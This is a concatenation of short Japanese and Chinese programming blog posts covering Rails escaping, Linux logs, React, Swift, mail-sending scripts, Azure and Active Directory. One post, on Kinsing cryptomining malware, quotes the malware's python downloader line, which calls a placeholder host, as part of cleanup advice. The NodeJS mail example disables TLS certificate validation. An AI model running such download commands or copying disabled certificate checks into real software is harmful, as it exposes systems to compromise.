a, b, n = map(int,input().split())

n = min(b,n) #search range
if n == b:
    n -= 1
ans = math.floor(a/b*n)
print(ans)
```

### まとめ
Cとは? 明日もがんばります。では、また。おやすみなさい。
Railsのhtmlエスケープ方法比較

Ruby on Railsでユーザが入力したテキストを改行コードを含めて、そのまま表示したい場合があります。或いは、htmlのタグを完全に外したり、一部有効なまま残したりしたい場合もあります。

そうした場合のアプローチ比較のつもりで検証したのですが、ほとんどの場合、そのまま（何もしない）か、`sanitize`を使えば良いのではないかと思います。

```erb

<% text = "<b>1</b>\n<i>2</i>\n3 >= a" %>
<%= text %> <%# そのまま(タグはエスケープされる) %>
<hr/>
<%= h(text) %> <%# そのままと一緒(使う意味ない？) %>
<hr/>
<%= simple_format(text) %> <%# 勝手に改行 & pタグが付く(お好みで..) %>
<hr/>
<%= strip_tags(text) %> <%# タグが消える %>
<hr/>
<%= sanitize(text) %> <%# 危ないタグだけ消える %>
<hr/>
<%= sanitize(text.gsub("\n","<br>")) %> <%# br(改行)は残る! %>
```
【Linux】ログ監視

###特定用途以外のログ

```
tail -F -n 20 /var/log/messages
```
###cron関連

```
tail -F -n 20 /var/log/cron
```
###メール関連

```
tail -F -n 20 /var/log/maillog
```
###tomcat
・標準出力(catalina.logの内容を含む)＋標準エラー出力

```
tail -F -n 20 /usr/local/tomcat/logs/catalina.out
```
###apache
・エラーログ

```
tail -F -n 20 /var/log/httpd/error_log
```
・アクセスログ

```
tail -F -n 20 /var/log/httpd/request_log
```
・アクセスログ

```
tail -F -n 20 /var/log/httpd/access_log
```
仮想通貨のマイニングマルウェアはやばい

#はじめに
アンチウィルスソフトウェアで保護するPCは安全だと思いますが、
攻撃多種多様となってきており、セキュリティの意識はとても重要です。
個人情報、クレジットカードなどの盗聴の損害は大きいものの、DoS攻撃、DDoS攻撃、仮想通貨のマイニングマルウェアで攻撃なども大変です。

#仮想通貨のマイニングマルウェアで攻撃
個人情報を盗聴する目的ではなく、サーバのCPU、メモリの計算リソースを乗っ取るのは目的です。
CPUはほぼ100%の使いとなり、既存のサービスの品質低下、提供不可になる場合があります。

#攻撃増加中のKinsingマルウェア
Linuxのプロセス名と似ている名前にしているパターンが多いです。
詳細情報：[Threat Alert: Kinsing Malware Attacks Targeting Container Environments](https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability?utm_content=124595707&utm_medium=social&utm_source=facebook&hss_channel=fbp-1202149729798371)
例：
　watchdog ⇔ watchbog
　kdevtmofs ⇔ kdevtmpfsi

見落としやすい名前です。

実行ユーザーのCronに実行ファイルをダウンロードするように登録されますので、cronの書き換えを削除しないと勝手にプロセスは復活されます。

wget、curl、pythonのurllib2などを使ってダウンロードしています。
`python -c 'import urllib2 as fbi;print fbi.urlopen("http://IPアドレス/old.txt").read()'` 

もし、マルウェア感染したら、下記のような作業で削除します。
・「watchbog」プロセスをkill　※ある場合
・「kdevtmpfsi」プロセスをkill　※ある場合
・「kinsing」プロセスをkill　※ある場合
・「crun」プロセスをkill　※ある場合
・/tmp/ の実行ユーザーのファイルを削除　※ある場合
・実行ユーザーのcronに追加された内容を削除　※ある場合
・「.bashrc」、「.bash_profile」に変な内容を削除　※ある場合

#対策
##プログラムの実行ユーザーについて
- rootで実行しないこと
- nologinのユーザーで起動すること（sudo使えないように抑制）

例えばtomcatを実行する「tomcat」ユーザはnologinとします。

```shell
useradd -s /sbin/nologin tomcat
```

##IP、ポート制限（Inbound、OutBound）
サーバからの外部通信は厳しく制御する。（制御できない場合がある場合は別の対策を考える）

##必要がないソフトウェアをアンインストール
python,curl,wgetなど必要がないソフトウェアをアンインストール

##リソースの使用状況監視
基本CPU、メモリ、Disk、ネットワークの監視してAlertするようにし、万が一攻撃されたら早期発覚できます。
AWS、GCP、AzureなどでもAlert設定は簡単にできるので、設定したほうがよい。

##アンチウィルスソフトウェアの利用
F-Secureなど

##アプリケーション脆弱性対策（WAF）
WAFでプログラムの検知も有効です。

##プログラムのセキュリティ強化
プログラムの脆弱性による攻撃は多いので、根本的にプログラムの脆弱性がないように強化テストし、早期発見、対応。

参考：[AWS_Security_Best_Practices.pdf](https://d1.awsstatic.com/whitepapers/Security/AWS_Security_Best_Practices.pdf)

以上
フロントエンド開発ほぼ未経験でReact.jsでSNSアプリケーションを開発してみた


#概要
つい先日、複数名でReactやgoを用いて最低限の機能を有したSNSアプリケーションを開発する機会がありました。
今後こういった開発を行う方々のご参考になればと思い、githubリポジトリと共に記事として書いておこうと思います！
技術的な部分に関して、今回僕は主にフロントエンドの開発で関わっていたので後半はフロントエンドの開発に関して記載いたします。
ご質問や修正点などございましたらお気軽にどうぞ！

#作ったもの
某有名SNS、〇witterを題材にさせていただいていただいて下記の要件を満たすものを作りました。
※サービスとしてリリースするものではありません

1. ユーザ認証
2. ユーザーによる投稿
3. 投稿の参照
4. 投稿に対するいいね・投稿に対する再投稿（リ○イート）


![ezgif.com-video-to-gif.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/297276/219b8515-d3b1-a6b1-1a33-1f02ea711627.gif)


またソースコードはGithubにて公開させていただいています！
モノレポで開発を進めていたので一つのレポジトリにフロントエンドとバックエンドの両方のディレクトリが存在しています。

https://github.com/syuta-sugawara/sample_SNS

#技術に関して

##使用技術
<img width="1359" alt="Screen Shot 2020-05-02 at 20.00.05.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/297276/c7e86084-55ae-80f1-f799-c8d6bc2f7850.png">

###フロントエンド
react with typescript + reduxやNext.jsはご存知の方も多いと思いますが
jsのファイルにCSSも書いてしまう[styled-component](https://styled-components.com/)や
UIコンポーネントをカタログのように管理できる[storybook](https://storybook.js.org/)なども使用していました。

##インフラ構成

ユーザー認証にaws cognit,
サーバーレス開発でAPI gateway, lamdaを使用しています。
フロントエンドのデプロイに関しては[vercel](https://vercel.com/)を使用していました。
このデプロイに関しては僕が行った訳ではないのですが
Next.jsを使用する際、
[vercel](https://vercel.com/)を用いるとaws環境よりも遥かに簡単にデプロイできるようです。

<img width="1133" alt="Screen Shot 2020-05-02 at 20.06.37.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/297276/7689edbd-53e3-b5d6-cbad-3a532ff21c0c.png">

#フロントエンド開発に関して
実装に関してはgithubをご参照していただけると幸いなのですが
読み解く上で必要となってくる以下の技術に関していくつか簡単に解説を加えたいと思います。

##React.js

### hooks
react 16.8からreact hooksというものが使用できるようになりました。
今回のプロジェクトではhooksを多用しています。
簡単にいうとこちらを利用することでクラスコンポーネントで行われていた状態管理のようなことが可能となります。
今回はhooksの`useState()`のみ解説したいと思います。

参考コード

```react
import React, { useState } from 'react';

function Example() {
  const [count, setCount] = useState(0);
  return (
    <div>
      <p>You clicked {count} times</p>
      <button onClick={() => setCount(count + 1)}>
        Click me
      </button>
    </div>
  );
}
```

こちらのコードにご注目ください。
`const [count, setCount] = useState(0);`

以下のように捉えていただければ
概ね問題ないかと思います。
・countが状態を管理する変数
・useState(0)でcountを0という数値に初期化
・setCountという名前のcountの状態を変更する名前の関数を用意

実際の挙動を確認したい方は
[codesandbox](https://codesandbox.io/index2)を使用されることをお勧めいたします！

reference
https://reactjs.org/docs/hooks-intro.html

##styled-component
簡単にいうとjsファイルにcssがかけちゃいます。

```react

import React from 'react';

import styled from 'styled-components';

// 以下で<h1>をレンダリングする <Title>という react コンポーネントを作ることができます。 
const Title = styled.h1`
  font-size: 1.5em;
  text-align: center;
  color: palevioletred;
`;

//以下で<section>をレンダリングする<Wrapper>というreactコンポーネントを作ることができます。
const Wrapper = styled.section`
  padding: 4em;
  background: papayawhip;
`;

<Wrapper>
  <Title>Hello World, this is my first styled component!</Title>
</Wrapper>
```

reference
https://github.com/styled-components/styled-components



#後書き＆補足
今回、記事を記載させていただきましたが
実際の開発に関しては他のメンバーでフロントが得意なエンジニアが2名おりまして
その方々の助けが大きく、正直僕はそこまで貢献できておりませんでした。。

また、この記事を書くにあたって
時間的余裕があまりなかったので、要望やLGTMが増えれば更新等行っていきたいと思っています！
5 月 LeetCode 挑戰, W1D2, Jewels and Stones, in Swift

資料結構與演算法： `Hash Table` `String`

- 挑戰頁面 - [Jewels and Stones](https://leetcode.com/explore/featured/card/may-leetcoding-challenge/534/week-1-may-1st-may-7th/3317/)
- 原題目 - [771. Jewels and Stones](https://leetcode.com/problems/jewels-and-stones/)

除了 Qiita ，我也有貼一篇在 LeetCode ，雖然內容不太一樣，有興趣的人也可以去看看：

- [Swift 1 liner, using higher order function](https://leetcode.com/problems/jewels-and-stones/discuss/608435/Swift-1-liner-using-higher-order-function)

## 思考方式

因為是要累計要出現的次數，於是第一個想到適合拿來用的方法是 `Hash Table` ，於是以自己最直覺的方式想出來的解法的步驟如下：

1. 計算每個字元出現的次數
2. 加總 J 裡面有出現的字元的次數

## 程式碼

題外話，沒有用 Set 的原因是， contains 的內部複雜度會是 O(n) 。而在 LeetCode 上的執行速度有時候又會因為用了 contains 會變慢很多，於是通常在解問題的時候傾向用 Dictionary 而不用 Set。

``` swift
class Solution {
    func numJewelsInStones(_ J: String, _ S: String) -> Int {
        var hashTable = [Character: Int]()
        for character in S {
            hashTable[character] = (hashTable[character] ?? 0) + 1
        }

        var result = 0
        for character in J {
            if let count = hashTable[character] {
                result += count
            }
        }

        return result
    }
}
```

## 複雜度分析

- 時間複雜度： O(S.length + J.length)
  - O(S.length) - 走訪過 S 一次
  - O(J.length) - 走訪過 J 一次
- 空間複雜度： O(S.length)
  - 用來裝 S 計數的 hash table

## 執行結果

``` text
Runtime: 4 ms (beats 96.23%)
Memory Usage: 21.1 MB
```

## 其他解

## 官方文章

看官方的文章之後發現他們的實作的方式不太一樣，就把它改成 Swift 看看。

``` swift
// 4ms (beats 96.23%), 21.2 MB
class Solution {
    func numJewelsInStones(_ J: String, _ S: String) -> Int {
        let hashSet = Set(Array(J))

        var result = 0
        for character in S {
            if hashSet.contains(character) {
                result += 1
            }
        }

        return result
    }
}
```

空間複雜度因為 hashTable(hashSet) 變成是為了 J 而建，所以變為 O(J.length) 。

### 善用 Swift 特性的 1-liner

可以用這種看起來很帥氣（咦）的寫法，只是 runtime 上就有點差了。
不過有避免掉要轉型成 Character 這一步，所以感受上是還是有比前面的幾個解法好一些。

``` swift
// 8ms (beats 76.89%), 20.8 MB
class Solution {
    func numJewelsInStones(_ J: String, _ S: String) -> Int {
        return S.reduce(0) { $0 + (J.contains($1) ? 1 : 0) }
    }
}
```
「VBoxManage.exe: error: Failed to create the VirtualBox object!」の解決方法

#はじめに
開発環境でvagrantを使っていますが「vagrant up」したら
以下のようなエラーが出たので解決方法を載せておきます！

````
VBoxManage.exe: error: Failed to create the VirtualBox object!
VBoxManage.exe: error: Code CO_E_SERVER_EXEC_FAILURE (0x80080005) - Server execution failed (extended info not available)
VBoxManage.exe: error: Most likely, the VirtualBox COM server is not running or failed to start.
````

#解決方法
１.VtrtualBoxのプログラムの上で右クリックしてください
![タイトルなし.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/524511/efc4c2af-6f2e-e820-0688-3d4448d46a12.png)


２.プロパティをクリックしてください
![素材.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/524511/0c672cbf-c42d-b15c-08af-c3d2b6d641cb.png)

３.開いたら「互換性」タブの中の「すべてのユーザーの設定を変更」をクリックしてください
![素材().png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/524511/26aa1b7f-15e1-3a54-b0e8-7c8a587c92d4.png)

４.「管理者としてのこのプログラムを実行する」にチェックして適用ボタンをクリックしてください
![タイトルなし.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/524511/f820f0a1-7036-c927-0791-e9cd4daf06ad.png)

５。再起動してから「Vgrant up」すれば起動できます

以上になります

###参考記事
[<font color="LimeGreen">How to fix 'VirtualBox Com server is not running or failed to start' error</font>](https://gist.github.com/thewazir/9281221)
【Python】メール送信

###メール送信スクリプトを作成

```:mail.py
from email.mime.text import MIMEText
import smtplib

# SMTP認証情報
account = "example.com"
password = "XXXXXXXX"
 
# 送受信先
to_email = "receiver@example.com"
from_email = "sender@example.com"
 
# MIMEの作成
subject = "テストタイトル"
message = "テスト本文"
msg = MIMEText(message, "html")
msg["Subject"] = subject
msg["To"] = to_email
msg["From"] = from_email
 
# メール送信処理
server = smtplib.SMTP("example.com", 587)
server.starttls()
server.login(account, password)
server.send_message(msg)
server.quit()
```

###実行
```
python mail.py
```
Kinx アルゴリズム - ヒープソート

# アルゴリズム - ヒープソート

## はじめに

**「見た目は JavaScript、頭脳(中身)は Ruby、（安定感は AC/DC）」** でお届けしているスクリプト言語 [Kinx](https://github.com/Kray-G/kinx)。「プログラム＝アルゴリズム＋データ構造」。アルゴリズムの実装例をご紹介。

元ネタは「C言語による（30年経っても）最新アルゴリズム事典」。今回はソート（ヒープソート）です。

* 参考
    * 最初の動機 ... [スクリプト言語 KINX（ご紹介）](https://qiita.com/Kray-G/items/ca08b6fb40d15dd0ec76)
        * 個別記事へのリンクは全てここに集約してあります。
    * リポジトリ ... [https://github.com/Kray-G/kinx](https://github.com/Kray-G/kinx)
        * Pull Request 等お待ちしております。  

アルゴリズムと言えばソート。ヒープソート。

## ヒープソート

* https://ja.wikipedia.org/wiki/ヒープソート
    * 平均的にはクイックソートより遅いが最悪でも $O(n \log n)$
    * 最悪でも $O(n \log n)$
    * 安定ではない

### テスト・ドライバ

テスト・ドライバコードは [前回](https://qiita.com/Kray-G/items/553dfc282bed0a58cf6b) と一緒です。

```javascript
function display(name, a) {
    System.println(name, a.map(&(e) => "%2d" % e).join(' '));
}

function demo(N, func) {
    var a = N.times(&() => Integer.parseInt(Math.random() * 100));
    display("Before: ", a);
    a = func(a);
    display("After:  ", a);
}
```

### サンプル・コード

```javascript
function heapsort(n, a) {
    var i, j, k, x;

    for (k = Integer.parseInt(n / 2); k >= 1; k--) {
        i = k;  x = a[i];
        while ((j = 2 * i) <= n) {
            if (j < n && a[j] < a[j + 1]) j++;
            if (x >= a[j]) break;
            a[i] = a[j];  i = j;
        }
        a[i] = x;
    }
    while (n > 1) {
        x = a[n];  a[n] = a[1];  n--;
        i = 1;
        while ((j = 2 * i) <= n) {
            if (j < n && a[j] < a[j + 1]) j++;
            if (x >= a[j]) break;
            a[i] = a[j];  i = j;
        }
        a[i] = x;
    }
}

demo(20, &(a) => {
    a = [0, ...a];
    heapsort(a.length() - 1, a);
    a.shift();
    return a;
});
```

### 結果

```
Before: 95 57 25 75 22 82 42 78 99 17 16 29 75 72  0  5 98  6 27 71
After:   0  5  6 16 17 22 25 27 29 42 57 71 72 75 75 78 82 95 98 99
```

## おわりに

これまた元ソース（C言語）からほとんど修正していない。これだけでも目標達成だ。

ただ、ヒープソートの場合、原書（←私のは25年前に買った本、現在でも同じ記述なのかは未確認）にもあるように、添え字は 1 から始めるほうが自然なソースコードなので、あえて先頭要素にダミーデータを追加して最後に取る、という感じになってます。添え字を適宜 `+1` する形でソースを書けばこの処理は不要（本来は無駄な処理）。今回は元ソースをそのまま使ったために、そう対応しただけなので。

ではまた、次回。
【NodeJS】メール送信

###NodeJSがインストールされていることを確認。

```
node -v
v12.16.2
```

###nodemailerモジュールをダウンロード

```
npm install nodemailer
```

※バージョンを指定する場合

```
npm install nodemailer@6.4.6
```

###ダウンロード済みのモジュールを確認

```
npm list --depth=0
`-- nodemailer@6.4.6
```

###メール送信スクリプトを作成

```javascript:mail.js
"use strict";
const nodemailer = require("nodemailer");

async function main() {

  // create reusable transporter object using the default SMTP transport
  let transporter = nodemailer.createTransport({
    host: "example.com",
    port: 587,
    secure: false,
    auth: {
      user: "example.com", // username
      pass: "XXXXXXXX" // password
    },
    tls: {
      // do not fail on invalid certs
      rejectUnauthorized: false
    }
  });

  // send mail with defined transport object
  let info = await transporter.sendMail({
    from: '"テスト送信者" <sender@example.com>', // sender address
    to: "receiver@example.com", // list of receivers
    subject: "テストタイトル", // Subject line
    text: "テスト本文", // plain text body
  });

  console.log("Message sent: %s", info.messageId);
}

main().catch(console.error);
```

###実行

```
node mail
```
「AnimeGAN」を試してみる


# 「AnimeGAN」とは
　TachibanaYoshinoさんが作成した、GANで画像をアニメ風に変換するソフトウェアです。詳細は以下リポジトリを参照ください。
[TachibanaYoshino/AnimeGAN](https://github.com/TachibanaYoshino/AnimeGAN)

　CartoonGAN-TensorflowやAnime-Sketch-Coloring-with-Swish-Gated-Residual-UNetがベースになっているようです。

　学習済みモデルもあって簡単に動かせます。試してみたので動作メモと、結果の紹介です。

# 「AnimeGAN」動かし方
　READMEに書いてある通りで動くのですが、手っ取り早く動かしたい人のために少しだけ詳しく書きます。

　最初にPython環境、必要なライブラリをセットアップしましょう。初心者だとここが一番難しいかもしれませんね。以下ブログ記事をみて適当に（雑な説明）。

[Pythonで機械学習をするための環境を雑にセットアップする方法（Jupyter notebook環境、ディープラーニング環境含む）on Mac/Linux](https://karaage.hatenadiary.jp/entry/2017/10/06/073000)

　あとは、以下で事前準備（ソフトと学習済みモデルのダウンロード）します。

```sh
$ git clone https://github.com/TachibanaYoshino/AnimeGAN
$ cd AnimeGAN
$ wget https://github.com/TachibanaYoshino/AnimeGAN/releases/download/Haoyao-style_V1.0/Haoyao-style.zip
$ unzip Haoyao-style.zip
```

　あとは、適当なディレクトリ（仮に`sample`とします）を作成して、変換したい画像を入れておきましょう。そしたら以下コマンド実行すればオッケーです。

```sh
$ python test.py --checkpoint_dir Haoyao-style --test_dir sample --style_name H
```

　`results`というディレクトリ以下に変換した画像が生成されています。

# 「AnimeGAN」生成画像

## 例1
![factory-1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/99899fe6-9a21-ac8b-614d-da977a3fb2e8.jpeg)

![factory_anime.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/230c4ca2-6f23-1b95-652d-568ebb95cbaf.jpeg)

## 例2
![karaage-1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/f8e006a3-7bfb-a039-b940-94c4310d284b.jpeg)

![karaage_anime.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/96a3520e-7bdb-8e1c-3803-53dbe7ae0f1c.jpeg)

## 例3
![sakura-1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/1f363ebe-1cb7-67c7-ae39-5e89d9167157.jpeg)

![sakura_anime.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/674cee86-a99c-0eae-bbe8-1f4b86574937.jpeg)

## 例4
![machinami-1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/fc94e95b-9eaf-535f-7415-816cc9fe628f.jpeg)

![machinami_anime.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/5506c129-1908-691f-844b-64245fa30df7.jpeg)

## 例5
![torii-1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/4940b48e-f50c-3ac7-1af7-b09c74e19c18.jpeg)


![torii_anime.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/0068152b-4383-ab38-78a7-599b83a285de.jpeg)

# まとめ
　「AnimeGAN」を試して、実際に手持ちの画像で試して見ました。若干破綻がみられるケースもありますが、Photoshopとかの高度なツールも手間もなく手軽にこれだけ変換ができるのは面白いですね。

　今回は普通にCPUで変換行いましたがGPU使ったりモデル軽量化して、リアルタイムに動画を変換したらなかなかインパクトありそうです。
AzureのUbuntuにリモートデスクトップで接続する方法

# はじめに

　これは勉強でAzureを適当に触っていた際に仮想マシンのところで
　色々調べたので忘れないようにメモ
# 前提
　作成した仮想マシンの環境へSSHで接続できるようにしておくことが必要。
　nsgの受信ポートの規制でSSHのポート番号22番が許可されているかを確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/617980/647914da-776d-35e5-0305-5b6b81d9a242.png)

　本来はJust in Time VMでポート開放の時間を制限したり、
　nsgでIP制限をかけたり等の何かしらのセキュリティ対策が必要であるが、テスト環境なので割愛
　
　このあたりの勉強もゆくゆくはしっかりやって行きたい

# SSHで仮想のUbuntuに接続

　Tera Termなどのターミナルソフトを使って接続
　ログインのユーザ名とパスフレーズはAzureのポータルで仮想マシンを作成した際に設定したものを入力
　![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/617980/4f694ddd-96e6-d9ee-a526-361a1749d76b.png)

接続成功
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/617980/dba2c99f-6679-4298-d1ba-00b7da521c8c.png)

# デスクトップ環境のインストール

　調べてみるとXfceというデスクトップ環境があるらしいので、今回はこれをAzure上に構築したUbuntuに導入
　aptコマンドでXfceを導入
　```sudo apt-get install xfce4
```
# リモートデスクトップサーバのインストール

　こちらも調べてみるとxrdpというフリーのRDPサーバソフトウェアがあるらしいので、これを導入
　```sudo apt-get install xrdp
```
# nsgの設定でRDPのポート3389を許可

　Azureのポータルでnsgの受信ポートの規制でRDPのポート番号3389を許可
　![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/617980/dd6d12b3-bf8b-fa35-62aa-edd55795c3aa.png)

　このRDPの許可も本来は何かしらのセキュリティ対策が必要

# リモートデスクトップ接続時にデスクトップ環境が立ち上がるようにする

　echoコマンドを使ってセッション開始時に導入したXfceが起動するように設定

　```echo xfce4-session >~/.xsession
```

# 実際にリモートデスクトップ接続

　成功
　![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/617980/1e6de41d-461a-e846-daa7-1564020a5427.png)
5/2 新たな知識

###buildメソッド
親モデルに属する子モデルのインスタンスを新しく作成する

参考記事：https://qiita.com/tsuchinoko_run/items/d671ea840bc0bfa90186


###merge!メソッド
ハッシュを結合する方法
mergeメソッドとmerge!メソッドの違いに注意

参考記事:
https://techacademy.jp/magazine/19787
React NativeでAndroidアプリを環境ごとに共存させる

# 背景、動機

[React NativeでiOSアプリを環境ごとに共存させる](https://qiita.com/nouka/items/fafffede6ded8db933c3)
上記の記事に続いて、Androidでも同様にステージング環境を新たに作成し、各環境ごとのアプリを1つの端末に共存させるようにします。

# 目指す姿

以下のように、1つの端末に各環境のアプリを別名で共存させます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/127338/747cb6c7-cb9e-55e1-d000-65c28946cb3d.png)

# 手順

1. `app/build.gradle`の buildTypes に`staging`を追加。
2. `debug`と`staging`の`app_name`を変更。

## 1. `app/build.gradle`の buildTypes に`staging`を追加。

### 1-1. buildTypes に`staging`を追加。

`app/build.gradle`ファイルを開き、buildTypes に`staging`を追加します。
端末にアプリを共存させるために、`applicationIdSuffix`を`debug`にも追加してください。

```gradle
// app/build.gradle

    buildTypes {
        debug {
            signingConfig signingConfigs.debug
            applicationIdSuffix ".dev"         // 1. debugビルドを別名アプリにするため、suffixを追加する。
        }
        staging {                              // 2. ステージング環境用のbuildTypeを追加する。
            initWith release                   // 3. Releaseをベースにする。
            signingConfig signingConfigs.debug // 4. signingConfigはdebugを指定する。
            matchingFallbacks = ['release']    // 5. React関連を含む外部ライブラリがreleaseのbuildTypeを使うように。
            applicationIdSuffix ".stg"         // 6. stagingビルドを別名アプリにするため、suffixを追加する。
        }
        release {
            ...
        }
    }
```

### 1-2. Reactのステージング用設定を追加

```gradle
project.ext.react = [
    bundleInStaging: true,      // 1. bundleInStagingをtrueに。
    devDisabledInStaging: true, // 2. devDisabledInStagingをtrueに。
    entryFile: "index.js",
    enableHermes: false,
]
```

### 1-3. Hermesの設定で`stagingImplementation`を追加

```gradle
    if (enableHermes) {
        def hermesPath = "../../node_modules/hermes-engine/android/";
        debugImplementation files(hermesPath + "hermes-debug.aar")
        stagingImplementation files(hermesPath + "hermes-release.aar") // 1. stagingImplementationを追加
        releaseImplementation files(hermesPath + "hermes-release.aar")
    } else {
        implementation jscFlavor
    }
```

## 2. `debug`と`staging`の`app_name`を変更

`app/src/debug`をコピーして`app/src/staging`を作成します。
`app/src/debug/res/values/strings.xml`と、
`app/src/staging/res/values/strings.xml`を以下のように修正します。

```xml
<!-- // app/src/debug/res/values/strings.xml -->
<resources>
    <string name="app_name">Dev Your App Name</string>
</resources>
```

```xml
<!-- // app/src/staging/res/values/strings.xml -->
<resources>
    <string name="app_name">Stg Your App Name</string>
</resources>
```

# 端末にインストールする

- Android 端末を PC に接続し、Android Studio を起動します。
- [Build] -> [Select Build Variant...]を選択し表示されたウィンドウから`debug`もしくは`staging`を選択しビルドしてください。
- `debug`を選択しビルドを実行するとアプリ名にDevが追加されたものが、`staging`ｗｐ選択しビルドを実行するとStgが追加されたものがインストールされます。
`release`を選択した場合は今までと同じように、アプリ名に何も追加されずインストールできます。
blender2.8 キーフレームアニメーションのミス

1.タイムラインウインドウでフレーム選択

2.左クリックでオブジェクト選択

3.オブジェクトを任意に移動

4.Iキーでキーフレームを選択


3→4の順番を逆でやってアニメーションせずてこずった。
WindowsのServer CoreにActive Directoryをインストールする

#概要
・WindowsのServer CoreにActive Directoryをインストールする。
・設定は最低限のみ実施。

#環境

・ハイパーバイザ：Hyper-V(Windows 10 1903)
・OS           ：Window Server 2016

#手順

~~~
Install-WindowsFeature AD-Domain-Services,GPMC -IncludeManagementTools

$pass = ConvertTo-SecureString -AsPlainText '<パスワード>' -Force

Install-ADDSForest -DomainName <ドメイン名> -ForestMode Default -DomainMode Default -InstallDns:$true -CreateDnsDelegation:$false -DomainNetbiosName <NETBIOS名> -DatabasePath C:\Windows\NTDS -LogPath C:\windows\NTDS -SysvolPath C:\windows\sysvol -NoRebootOnCompletion:$false -Force:$true -SafeModeAdministratorPassword $pass
~~~

#その他

・デスクトップエクスペリエンスを導入したサーバからADの管理ツールやDNSサーバツールを使用して管理することも可能
【swift5】xcode11 割引計算機

<img width="934" alt="スクリーンショット 2020-05-02 21.52.35.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/627010/d6ad9da4-5c2c-3db6-7a24-9ca52637a517.png">

p.s
前回の記事（消費税計算機）で使ったコードをアレンジして今回は割引計算機を作成。
【JavaScript】切り捨て、切り上げ、四捨五入、小数点以下の計算、整数化

#【JavaScript】切り捨て、切り上げ、四捨五入、小数点以下の計算、整数化

Math（＝数学系のメソッド）。
ここではJavaScriptの入門学習で頻出するものを掲載。

##Math.ceil
切り上げ

```js

    let a = Math.ceil(1.23);//0.23を1に
    console.log(a);//2
```

##Math.floor
切り捨て
利用頻度が高い

```js

    let a = Math.floor(1.23);//0.23を破棄
    console.log(a);//1
```

##Math.round
四捨五入

```js
    let a = Math.round(1.4);//四捨五入
    console.log(a);//1

    let a = Math.round(1.5);//四捨五入
    console.log(a);//2
```

##応用:桁数指定

①評価対象の桁数を1桁目にするまで乗算する
　小数点第一位なら×10
　小数点第二位位なら×100
②演算後、①で増やした桁数を基に戻す
　小数点第一位なら÷10
　小数点第二位位なら÷100

1.23456の小数点第一位以下を切り捨てる場合

```js

    let a = Math.floor(1.23456*10)/10;
    console.log(a);//1.2
```

1.23456の小数点第二位以下を切り上げる場合

```js

    let a = Math.ceil(1.23456*100)/100;
    console.log(a);//1.24
```

##応用:整数化
配列の要素をsplitから分割した直後の場合、文字列になっているので整数化の必要がある。
一般的なのはparseInt();
JavaScriptの場合、文字列×数値は数値に変換されるので*1としても整数化が行える。

```js

    let a = String(123);  //文字列の123を生成
    console.log(`${a}は${typeof a}型`);  //123はString型
    a *= 1;  //文字列に1をかけて整数化
    console.log(`${a}は${typeof a}型`);  //123はNumber型
```
gem, bundlerを自分なりに解説してみる

##はじめに
今回が初投稿です。Progateである程度勉強した次はRailsチュートリアルだー！と思い第１章から進めるもいきなりgem?bundle?とよくわからない単語が…。言われるがままにコマンドを入力していくも結局これ何やってるんだろうと思ったので自分なりに調べて解説してみます。

##gemとは
まず、gemという単語には以下の２つの意味があるようです。
・Rubyライブラリを管理するシステム(RubyGemsのことを指す)のコマンドの名称のこと。
・それぞれのライブラリのこと

ライブラリとは、いちいち０からプログラムを組むのは面倒なので、汎用性の高い機能をひとまとまりにしたものです。つまりgemとはこのライブラリを管理するツールでもあるし、ライブラリそのものを指す言葉でもあるということですね。驚くことに、今学習しているRails、これから説明するbundlerもgemのなかのひとつのようです。

##bundlerとは
先程、RubyGemsはライブラリであるgemを管理するシステムと説明しましたが、最近では「bundler」というライブラリ管理ツールを使うことが多いようです。なるほど、 ここでbundlerっていう単語が出てくるんですね。じゃあBundlerの利点なんだろう？調べました。

Bundlerの役割は以下の通り。
・gemのバージョン依存関係の解決
・gemをプロジェクト毎に管理する

依存関係とは以下のような関係のことです。

・gemAを使うのにgemBが必要（BはAに依存）
・gemBを使うのにgemCが必要（CはBに依存）

これを自分で調べてインストールするのはさすがに大変な作業ですよね。bundlerはこういったgemの依存関係を自動で検知して一括でインストールしてくれます。

bundlerのインストールはgem install bundlerのコマンドでインストールできます。

```terminal
$gem install bundler
```
bundlerでgemをインストールする手順

1.「Gemfile」という名前のファイルに自分が使用したいgemのリストとバージョンを記述

2.bundle installのコマンドを実行

```terminal
$bundle install
```
このコマンドを実行すると、Gemfileを参照して必要なgemが一括インストールされます。そして、その結果がGemfile.lockファイルに自動的に記録されます。次回以降bundle installコマンドを実行する際にはこのGemfile.lockファイルに基づいてgemがインストールされます。

##まとめ

・gemは汎用性の高い複数のプログラムをひとまとまりにしたもの

・bundlerはgemを管理するシステム

・使用したいgemはGemfileに記述した後インストール

Railsもbundlerもgemのひとつだから同じコマンドでインストールするんですね。

```terminal
$gem install rails -v 5.1.6
$gem install bundler
```

少しでも勉強し始めた方々にお役に立てれば幸いです！
【備忘録】Teamsで、組織外の方がチームを開けない

